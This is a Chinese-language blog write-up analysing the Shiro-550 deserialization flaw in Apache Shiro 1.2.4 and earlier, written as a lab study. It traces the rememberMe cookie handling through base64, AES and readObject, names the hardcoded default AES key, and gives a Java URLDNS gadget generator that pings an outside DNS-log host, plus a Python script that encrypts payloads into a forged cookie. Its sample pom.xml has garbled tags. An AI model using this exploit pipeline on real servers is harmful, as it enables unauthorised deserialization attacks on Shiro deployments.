shiro 550漏洞分析


都2022年了不会还有人学习这么老的漏洞吧?没错就是我…………


准备阶段

      起shiro服务,在github上下载<=1.2.4版本,然后修改下pom.xml,修改下如下内容,搞完pom文件一堆爆红,但我点击发布实例选择samples-web后照样运行,没管爆红的地方。如果介意的话网上有完整pom文件可以照搬下

 <?xml version="1.0" encoding="UTF-8"?>
 
 
 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
     <properties>
 ?
         <maven.compiler.source>1.6maven.compiler.source>
 ?
         <maven.compiler.target>1.6maven.compiler.target>
 ?
     properties>
     <parent>
         <groupId>org.apache.shiro.samplesgroupId>
         <artifactId>shiro-samplesartifactId>
         <version>1.2.4version>
         <relativePath>../pom.xmlrelativePath>
     parent>
 ?
     <modelVersion>4.0.0modelVersion>
     <artifactId>samples-webartifactId>
     <name>Apache Shiro :: Samples :: Webname>
     <packaging>warpackaging>
 ?
     <build>
         <plugins>
             <plugin>
                 <artifactId>maven-surefire-pluginartifactId>
                 <configuration>
                     <forkMode>neverforkMode>
                 configuration>
             plugin>
             <plugin>
                 <groupId>org.mortbay.jettygroupId>
                 <artifactId>maven-jetty-pluginartifactId>
                 <version>${jetty.version}version>
                 <configuration>
                     <contextPath>/contextPath>
                     <connectors>
                         <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                             <port>9080port>
                             <maxIdleTime>60000maxIdleTime>
                         connector>
                     connectors>
                     <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                         <filename>./target/yyyy_mm_dd.request.logfilename>
                         <retainDays>90retainDays>
                         <append>trueappend>
                         <extended>falseextended>
                         <logTimeZone>GMTlogTimeZone>
                     requestLog>
                 configuration>
             plugin>
         plugins>
     build>
 ?
     <dependencies>
         <dependency>
             <groupId>javax.servletgroupId>
             <artifactId>jstlartifactId>
             <scope>runtimescope>
         dependency>
         <dependency>
             <groupId>javax.servletgroupId>
             <artifactId>servlet-apiartifactId>
 
         dependency>
         <dependency>
             <groupId>org.slf4jgroupId>
             <artifactId>slf4j-log4j12artifactId>
             <scope>runtimescope>
         dependency>
         <dependency>
             <groupId>log4jgroupId>
             <artifactId>log4jartifactId>
             <scope>runtimescope>
         dependency>
         <dependency>
             <groupId>net.sourceforge.htmlunitgroupId>
             <artifactId>htmlunitartifactId>
             <version>2.6version>
 
         dependency>
         <dependency>
             <groupId>org.apache.shirogroupId>
             <artifactId>shiro-coreartifactId>
         dependency>
         <dependency>
             <groupId>org.apache.shirogroupId>
             <artifactId>shiro-webartifactId>
         dependency>
         <dependency>
             <groupId>org.mortbay.jettygroupId>
             <artifactId>jettyartifactId>
             <version>${jetty.version}version>
             <scope>testscope>
         dependency>
         <dependency>
             <groupId>org.mortbay.jettygroupId>
             <artifactId>jsp-2.1-jettyartifactId>
             <version>${jetty.version}version>
             <scope>testscope>
         dependency>
         <dependency>
             <groupId>org.slf4jgroupId>
             <artifactId>jcl-over-slf4jartifactId>
             <scope>runtimescope>
         dependency>
         <dependency>
             <groupId>javax.servletgroupId>
             <artifactId>jstlartifactId>
             
             <version>1.2version>
             <scope>runtimescope>
         dependency>
         <dependency>
             <groupId>org.apache.commonsgroupId>
             <artifactId>commons-collections4artifactId>
             <version>4.0version>
         dependency>
     dependencies>
 ?
 ?
 project>

我们先访问登录并抓包,记得勾上remember选项

看到请求的cookie部分内容很大,可以猜想这个cookie代表了什么,可以看看保存了什么信息,一般保存cookie都会用到反序列化。以后一定养成这个习惯。

搜索Cookie相关的类,其实就是CookieRememberMeManager

我们通过名字看方法,注意到rememberSerializedIdentity和getRememberedSerializedIdentity方法,随便你分析哪一个,这里分析的是后者,解密的过程。



代码分析

通过配图知道最后进行base64解码。看看哪些调用了该方法。alt+f7查看调用查到getRememberedPrincipals方法

subjectContext在经过getRememberedSerializedIdentity处理后返回bytes,bytes再经过convertBytesToPrincipals处理,其中的过程如下

我们可以先看看反序列化部分是否能触发,跟进deserialize方法

再跟进

可以看到最终调用到了原生的readObject方法。

再来看看convertBytesToPrincipals中的解密方法decrypt

cipherService.decrypt解密方法如下,其实就是aes

因为aes解密方法是固定的,所以重点关注解密的key是什么


寻找key

可以看到是个常量,需要查找在哪被赋值的,alt+f7,看value write部分

继续查看setDecryptionCipherKey在哪被调用

ok,最后找到了关键的key,这样理一下解密的过程

cookie获取 == > base64解码 ==》 aes解密 = ===》反序列化


最后尝试复现该漏洞

URLDNS链生成类

import java.io.*;
 import java.lang.reflect.Field;
 import java.net.URL;
 import java.util.HashMap;
 public class URLCC {
     public static void serialize(Object obj) throws IOException {
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser.txt"));
         objectOutputStream.writeObject(obj);
         objectOutputStream.close();
     }
     public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
         //入口类
         HashMap hashMap = new HashMap();
         //调用链
         URL url = new URL("http://fyh5ci.logs.ink");
         //将hashCode更改为非-1的值,使其序列化的时候不会发起dns请求
         Class<? extends URL> aClass = url.getClass();
         Field hashCodeField = aClass.getDeclaredField("hashCode");
         hashCodeField.setAccessible(true);
         hashCodeField.set(url,1234);
         //执行类
         hashMap.put(url,123);
         //将hashCode改为-1,使其反序列化的时候能发起dns请求
         hashCodeField.set(url,-1);
         serialize(hashMap);
     }
 }

将上述序列化的内容进行加密,注意要先将keybase64解码

 
import base64
 import uuid
 from Crypto.Cipher import AES
 ?
 def get_file_data(filename):
     with open(filename,'rb') as f:
         data = f.read()
     return data
 ?
 def aes_enc(data):
     BS = AES.block_size
     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
     key = "kPH+bIxk5D2deZiIxcaaaA=="
     mode = AES.MODE_CBC
     iv = uuid.uuid4().bytes
     encryptor = AES.new(base64.b64decode(key),mode,iv)
     ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
     return ciphertext
 ?
 if __name__ == '__main__':
     data = get_file_data("D:\ser.txt")
     print(aes_enc(data))

将生成的payload带入到cookie中,主要要将JSESSIONID去掉,不然会优先读取JSESSIONID的信息,无法利用到我们payload


总结

整个看下来利用链,主要还是要有敏感的发现能力,发现cookie处可能存在反序列化。

getRememberedSerializedIdentity 入口点== > base64解码 ==》 aes解密 = ===》反序列化